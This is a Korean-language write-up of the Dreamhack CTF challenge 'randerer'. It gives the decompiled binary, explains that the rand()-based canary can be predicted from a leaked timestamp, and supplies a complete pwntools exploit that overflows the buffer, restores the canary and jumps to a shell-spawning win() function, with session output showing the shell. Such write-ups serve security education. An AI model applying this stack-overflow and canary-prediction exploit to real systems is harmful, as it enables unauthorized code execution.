[dreamhack] randerer writeup

1. 문제

thumbnail
randerer

rand() canary!

https://dreamhack.io/wargame/challenges/1531

2. 풀이

int win()
{
  return system("/bin/sh");
}

void init_canary()
{
  unsigned int v0; // eax
  __int64 v1; // rbx
  int i; // [rsp+Ch] [rbp-14h]

  v0 = time(0LL);
  srand(v0);
  for ( i = 0; i <= 7; ++i )
  {
    v1 = canary << 8;
    canary = v1 | (unsigned __int8)rand();
  }
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  time_t v3; // rax
  char buf[16]; // [rsp+0h] [rbp-20h] BYREF
  __int64 v6; // [rsp+10h] [rbp-10h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  v6 = canary;
  v3 = time(0LL);
  printf("time: %ld\n", v3);
  printf("input your data: ");
  read(0, buf, 0x100uLL);
  if ( v6 != canary )
  {
    puts("*** stack smashing detected ***: terminated Aborted");
    exit(1);
  }
  return 0;
}

소스코드가 없어서 ida로 까본 코드이다.


init_canary함수에서 timestamp를 이용해서 canary를 생성하고 이를 확인하는 함수이다.

이때 timestamp를 공격자에게 주므로 공격자는 init_canary함수를 통해 역으로 canary에 들어가는 값을 예측할 수 있다. 그리고 나서 리턴주소를 win함수의 주소로 덮으면 끝이다.

저번에 봤던 Cat Jump 문제와 거의 비슷하게 풀면된다.


thumbnail
Cat Jump writeup

https://jjblog.duckdns.org/ctf%20writeup/2025/07/14/dreamhack-Cat-Jump.html

from pwn import *
import time, ctypes

p = process("./prob")
p = remote("host3.dreamhack.games", 15319)
elf = ELF("./prob")

libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand.argtypes = [ctypes.c_uint]
libc.srand.restype = None
libc.rand.restype = ctypes.c_int
libc.time.argtypes = [ctypes.POINTER(ctypes.c_long)] # 또는 ctypes.c_void_p
libc.time.restype = ctypes.c_long

p.recvuntil(b"time: ")
t = int(p.recv(10).decode())

libc.srand(t)

tmp = 0
for i in range(8):
    if i != 0:
        tmp = canary << 8
    else:
        tmp = 0 << 8
    canary = tmp | libc.rand() & 0xff

print(hex(canary))
payload = b"a" * 16
payload += p64(canary)
payload += b"b" * 8
payload += b"c" * 8
payload += p64(0x000000000040101a)  # ret
payload += p64(elf.symbols["win"])

input()
p.sendafter(b"input your data: ", payload)

p.interactive()

조심해야할건 역시나 스택 정렬문제…

ubuntu@instance-20250406-1126:~/dreamhack/level2/randerer/deploy$ python3 e_randerer.py 
[+] Starting local process './prob': pid 2792285
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/randerer/deploy/prob'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
0x1f9953e686c99b8a

[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~